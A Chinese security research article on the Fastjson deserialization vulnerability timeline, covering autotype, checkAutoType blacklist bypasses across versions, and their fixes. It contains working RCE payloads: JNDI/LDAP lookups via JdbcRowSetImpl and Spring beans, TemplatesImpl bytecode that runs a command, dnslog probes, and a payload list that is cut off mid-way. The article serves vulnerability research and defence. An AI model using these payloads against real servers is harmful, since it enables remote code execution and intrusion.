作者:Longofo@知道創宇404實驗室
時間:2020年4月27日
英文版本:http://www.bjnorthway.com/1193/
Fastjson沒有cve編號,不太好查找時間線,一開始也不知道咋寫,不過還是慢慢寫出點東西,幸好fastjson開源以及有師傅們的一路辛勤記錄。文中將給出與Fastjson漏洞相關的比較關鍵的更新以及漏洞時間線,會對一些比較經典的漏洞進行測試及修復說明,給出一些探測payload,rce payload。
Fastjson解析流程
可以參考下@Lucifaer師傅寫的fastjson流程分析,這里不寫了,再寫篇幅就占用很大了。文中提到fastjson有使用ASM生成的字節碼,由于實際使用中很多類都不是原生類,fastjson序列化/反序列化大多數類時都會用ASM處理,如果好奇想查看生成的字節碼,可以用idea動態調試時保存字節文件:

插入的代碼為:
BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null;
String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";
try {
File dir = new File(filePath);
if (!dir.exists()) {
dir.mkdirs();
}
file = new File(filePath + className + ".class");
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
bos.write(code);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (bos != null) {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
生成的類:

但是這個類并不能用于調試,因為fastjson中用ASM生成的代碼沒有linenumber、trace等用于調試的信息,所以不能調試。不過通過在Expression那個窗口重寫部分代碼,生成可用于調式的bytecode應該也是可行的(我沒有測試,如果有時間和興趣,可以看下ASM怎么生成可用于調試的字節碼)。
Fastjson 樣例測試
首先用多個版本測試下面這個例子:
//User.java
package com.longofo.test;
public class User {
private String name; //私有屬性,有getter、setter方法
private int age; //私有屬性,有getter、setter方法
private boolean flag; //私有屬性,有is、setter方法
public String sex; //公有屬性,無getter、setter方法
private String address; //私有屬性,無getter、setter方法
public User() {
System.out.println("call User default Constructor");
}
public String getName() {
System.out.println("call User getName");
return name;
}
public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}
public int getAge() {
System.out.println("call User getAge");
return age;
}
public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}
public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}
public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}
}
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test1 {
public static void main(String[] args) {
//序列化
String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
System.out.println("serializedStr=" + serializedStr);
System.out.println("-----------------------------------------------\n\n");
//通過parse方法進行反序列化,返回的是一個JSONObject]
System.out.println("JSON.parse(serializedStr):");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化對象名稱:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("-----------------------------------------------\n");
//通過parseObject,不指定類,返回的是一個JSONObject
System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化對象名稱:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------\n");
//通過parseObject,指定為object.class
System.out.println("JSON.parseObject(serializedStr, Object.class):");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject反序列化對象名稱:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
System.out.println("-----------------------------------------------\n");
//通過parseObject,指定為User.class
System.out.println("JSON.parseObject(serializedStr, User.class):");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject反序列化對象名稱:" + obj4.getClass().getName());
System.out.println("parseObject反序列化:" + obj4);
System.out.println("-----------------------------------------------\n");
}
}
說明:
- 這里的@type就是對應常說的autotype功能,簡單理解為fastjson會自動將json的
key:value值映射到@type對應的類中 - 樣例User類的幾個方法都是比較普通的方法,命名、返回值也都是常規的符合bean要求的寫法,所以下面的樣例測試有的特殊調用不會覆蓋到,但是在漏洞分析中,可以看到一些特殊的情況
- parse用了四種寫法,四種寫法都能造成危害(不過實際到底能不能利用,還得看版本和用戶是否打開了某些配置開關,具體往后看)
- 樣例測試都使用jdk8u102,代碼都是拉的源碼測,主要是用樣例說明autotype的默認開啟、checkautotype的出現、以及黑白名白名單從哪個版本開始出現的過程以及增強手段
1.1.157測試
這應該是最原始的版本了(tag最早是這個),結果:
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化對象名稱:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化對象名稱:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化對象名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化對象名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
下面對每個結果做一個簡單的說明
JSON.parse(serializedStr)
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化對象名稱:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情況下,自動調用了User類默認構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個實例,不過值得注意的是public sex被成功賦值了,private address沒有成功賦值,不過在1.2.22, 1.1.54.android之后,增加了一個SupportNonPublicField特性,如果使用了這個特性,那么private address就算沒有setter、getter也能成功賦值,這個特性也與后面的一個漏洞有關。注意默認構造方法、setter方法調用順序,默認構造器在前,此時屬性值還沒有被賦值,所以即使默認構造器中存在危險方法,但是危害值還沒有被傳入,所以默認構造器按理來說不會成為漏洞利用方法,不過對于內部類那種,外部類先初始化了自己的某些屬性值,但是內部類默認構造器使用了父類的屬性的某些值,依然可能造成危害。
可以看出,從最原始的版本就開始有autotype功能了,并且autotype默認開啟。同時ParserConfig類中還沒有黑名單。
JSON.parseObject(serializedStr)
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化對象名稱:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
在指定了@type的情況下,自動調用了User類默認構造器,User類對應的setter方法(setAge,setName)以及對應的getter方法(getAge,getName),最終結果是一個字符串。這里還多調用了getter(注意bool類型的是is開頭的)方法,是因為parseObject在沒有其他參數時,調用了JSON.toJSON(obj),后續會通過gettter方法獲取obj屬性值:


JSON.parseObject(serializedStr, Object.class)
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化對象名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情況下,這種寫法和第一種JSON.parse(serializedStr)寫法其實沒有區別的,從結果也能看出。
JSON.parseObject(serializedStr, User.class)
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化對象名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情況下,自動調用了User類默認構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個實例。這種寫法明確指定了目標對象必須是User類型,如果@type對應的類型不是User類型或其子類,將拋出不匹配異常,但是,就算指定了特定的類型,依然有方式在類型匹配之前來觸發漏洞。
1.2.10測試
對于上面User這個類,測試結果和1.1.157一樣,這里不寫了。
到這個版本autotype依然默認開啟。不過從這個版本開始,fastjson在ParserConfig中加入了denyList,一直到1.2.24版本,這個denyList都只有一個類(不過這個java.lang.Thread不是用于漏洞利用的):

1.2.25測試
測試結果是拋出出了異常:
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}
-----------------------------------------------
JSON.parse(serializedStr):
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.longofo.test.Test1.main(Test1.java:14)
從1.2.25開始,autotype默認關閉了,對于autotype開啟,后面漏洞分析會涉及到。并且從1.2.25開始,增加了checkAutoType函數,它的主要作用是檢測@type指定的類是否在白名單、黑名單(使用的startswith方式)
以及目標類是否是兩個危險類(Classloader、DataSource)的子類或者子接口,其中白名單優先級最高,白名單如果允許就不檢測黑名單與危險類,否則繼續檢測黑名單與危險類:

增加了黑名單類、包數量,同時增加了白名單,用戶還可以調用相關方法添加黑名單/白名單到列表中:

后面的許多漏洞都是對checkAutotype以及本身某些邏輯缺陷導致的漏洞進行修復,以及黑名單的不斷增加。
1.2.42測試
與1.2.25一樣,默認不開啟autotype,所以結果一樣,直接拋autotype未開啟異常。
從這個版本開始,將denyList、acceptList換成了十進制的hashcode,使得安全研究難度變大了(不過hashcode的計算方法依然是公開的,假如擁有大量的jar包,例如maven倉庫可以爬jar包下來,可批量的跑類名、包名,不過對于黑名單是包名的情況,要找到具體可利用的類也會消耗一些時間):

checkAutotype中檢測也做了相應的修改:

1.2.61測試
與1.2.25一樣,默認不開啟autotype,所以結果一樣,直接拋autotype未開啟異常。
從1.2.25到1.2.61之前其實還發生了很多繞過與黑名單的增加,不過這部分在后面的漏洞版本線在具體寫,這里寫1.2.61版本主要是說明黑名單防御所做的手段。在1.2.61版本時,fastjson將hashcode從十進制換成了十六進制:

不過用十六進制表示與十進制表示都一樣,同樣可以批量跑jar包。在1.2.62版本為了統一又把十六進制大寫:

再之后的版本就是黑名單的增加了
Fastjson漏洞版本線
下面漏洞不會過多的分析,太多了,只會簡單說明下以及給出payload進行測試與說明修復方式。
ver<=1.2.24
從上面的測試中可以看到,1.2.24及之前沒有任何防御,并且autotype默認開啟,下面給出那會比較經典的幾個payload。
com.sun.rowset.JdbcRowSetImpl利用鏈
payload:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
測試(jdk=8u102,fastjson=1.2.24):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test2 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
// JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功,沒有直接在外層用@type,加了一層rand:{}這樣的格式,還沒到類型匹配就能成功觸發,這是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925,所以后面的payload都使用這種模式
}
}
結果:

觸發原因簡析:
JdbcRowSetImpl對象恢復->setDataSourceName方法調用->setAutocommit方法調用->context.lookup(datasourceName)調用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用鏈
payload:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
測試(jdk=8u102,fastjson=1.2.24):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Test3 {
public static void main(String[] args) throws Exception {
String evilCode_base64 = readClass();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{'rand1':{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'aaa'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}}\n";
System.out.println(payload);
//JSON.parse(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
}
public static class AaAa {
}
public static String readClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(AaAa.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "AaAa" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
return Base64.encodeBase64String(evilCode);
}
}
結果:

觸發原因簡析:
TemplatesImpl對象恢復->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通過defineTransletClasses,newInstance觸發我們自己構造的class的靜態代碼塊
簡單說明:
這個漏洞需要開啟SupportNonPublicField特性,這在樣例測試中也說到了。因為TemplatesImpl類中_bytecodes、_tfactory、_name、_outputProperties、_class并沒有對應的setter,所以要為這些private屬性賦值,就需要開啟SupportNonPublicField特性。具體這個poc構造過程,這里不分析了,可以看下廖大師傅的這篇,涉及到了一些細節問題。
ver>=1.2.25&ver<=1.2.41
1.2.24之前沒有autotype的限制,從1.2.25開始默認關閉了autotype支持,并且加入了checkAutotype,加入了黑名單+白名單來防御autotype開啟的情況。在1.2.25到1.2.41之間,發生了一次checkAutotype的繞過。
下面是checkAutoType代碼:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
// 位置1,開啟了autoTypeSupport,先白名單,再黑名單
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 位置2,從已存在的map中獲取clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 位置3,沒開啟autoTypeSupport,依然會進行黑白名單檢測,先黑名單,再白名單
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 位置4,過了黑白名單,autoTypeSupport開啟,就加載目標類
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
// ClassLoader、DataSource子類/子接口檢測
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
在上面做了四個位置標記,因為后面幾次繞過也與這幾處位置有關。這一次的繞過是走過了前面的1,2,3成功進入位置4加載目標類。位置4 loadclass如下:

去掉了className前后的L和;,形如Lcom.lang.Thread;這種表示方法和JVM中類的表示方法是類似的,fastjson對這種表示方式做了處理。而之前的黑名單檢測都是startswith檢測的,所以可給@type指定的類前后加上L和;來繞過黑名單檢測。
這里用上面的JdbcRowSetImpl利用鏈:
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
測試(jdk8u102,fastjson 1.2.41):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test4 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功
}
}
結果:

ver=1.2.42
在1.2.42對1.2.25~1.2.41的checkAutotype繞過進行了修復,將黑名單改成了十進制,對checkAutotype檢測也做了相應變化:


黑名單改成了十進制,檢測也進行了相應hash運算。不過和上面1.2.25中的檢測過程還是一致的,只是把startswith這種檢測換成了hash運算這種檢測。對于1.2.25~1.2.41的checkAutotype繞過的修復,就是紅框處,判斷了className前后是不是L和;,如果是,就截取第二個字符和到倒數第二個字符。所以1.2.42版本的checkAutotype繞過就是前后雙寫LL和;;,截取之后過程就和1.2.25~1.2.41版本利用方式一樣了。
用上面的JdbcRowSetImpl利用鏈:
{
"rand1": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
測試(jdk8u102,fastjson 1.2.42):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test5 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功
}
}
結果:

ver=1.2.43
1.2.43對于1.2.42的繞過修復方式:

在第一個if條件之下(L開頭,;結尾),又加了一個以LL開頭的條件,如果第一個條件滿足并且以LL開頭,直接拋異常。所以這種修復方式沒法在繞過了。但是上面的loadclass除了L和;做了特殊處理外,[也被特殊處理了,又再次繞過了checkAutoType:

用上面的JdbcRowSetImpl利用鏈:
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
測試(jdk8u102,fastjson 1.2.43):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test6 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
JSON.parseObject(payload, User.class);
}
}
結果:

ver=1.2.44
1.2.44版本修復了1.2.43繞過,處理了[:

刪除了之前的L開頭、;結尾、LL開頭的判斷,改成了[開頭就拋異常,;結尾也拋異常,所以這樣寫之前的幾次繞過都修復了。
ver>=1.2.45&ver<1.2.46
這兩個版本期間就是增加黑名單,沒有發生checkAutotype繞過。黑名單中有幾個payload在后面的RCE Payload給出,這里就不寫了
ver=1.2.47
這個版本發生了不開啟autotype情況下能利用成功的繞過。解析一下這次的繞過:
- 利用到了
java.lang.class,這個類不在黑名單,所以checkAutotype可以過 - 這個
java.lang.class類對應的deserializer為MiscCodec,deserialize時會取json串中的val值并load這個val對應的class,如果fastjson cache為true,就會緩存這個val對應的class到全局map中 - 如果再次加載val名稱的class,并且autotype沒開啟(因為開啟了會先檢測黑白名單,所以這個漏洞開啟了反而不成功),下一步就是會嘗試從全局map中獲取這個class,如果獲取到了,直接返回
這個漏洞分析已經很多了,具體詳情可以參考下這篇
payload:
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
測試(jdk8u102,fastjson 1.2.47):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test7 {
public static void main(String[] args) {
String payload = "{\n" +
" \"rand1\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"rand2\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
JSON.parseObject(payload, User.class);
}
}
結果:

ver>=1.2.48&ver<=1.2.68
在1.2.48修復了1.2.47的繞過,在MiscCodec,處理Class類的地方,設置了cache為false:

在1.2.48到最新版本1.2.68之間,都是增加黑名單類。
ver=1.2.68
1.2.68是目前最新版,在1.2.68引入了safemode,打開safemode時,@type這個specialkey完全無用,無論白名單和黑名單,都不支持autoType了。
在這個版本中,除了增加黑名單,還減掉一個黑名單:

這個減掉的黑名單,不知道有師傅跑出來沒,是個包名還是類名,然后能不能用于惡意利用,反正有點奇怪。
探測Fastjson
比較常用的探測Fastjson是用dnslog方式,探測到了再用RCE Payload去一個一個打。同事說讓搞個能回顯的放掃描器掃描,不過目標容器/框架不一樣,回顯方式也會不一樣,這有點為難了...,還是用dnslog吧。
dnslog探測
目前fastjson探測比較通用的就是dnslog方式去探測,其中Inet4Address、Inet6Address直到1.2.67都可用。下面給出一些看到的payload(結合了上面的rand:{}這種方式,比較通用些):
{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}
{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}
{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}
一些畸形payload,不過依然可以觸發dnslog:
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0
一些RCE Payload
之前沒有收集關于fastjson的payload,沒有去跑jar包....,下面列出了網絡上流傳的payload以及從marshalsec中扣了一些并改造成適用于fastjson的payload,每個payload適用的jdk版本、fastjson版本就不一一測試寫了,這一通測下來都不知道要花多少時間,實際利用基本無法知道版本、autotype開了沒、用戶咋配置的、用戶自己設置又加了黑名單/白名單沒,所以將構造的Payload一一過去打就行了,基礎payload:
payload1:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
payload2:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
payload3:
{
"rand1": {
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://localhost:1389/Object"
}
}
}
payload4:
{
"rand1": {
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://localhost:1389/Object",
"propertyPath": "foo",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/Object"
]
}
}
}
payload5:
{
"rand1": Set[
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/obj"
]
},
"adviceBeanName": "ldap://localhost:1389/obj"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}
payload6:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e7444617461740013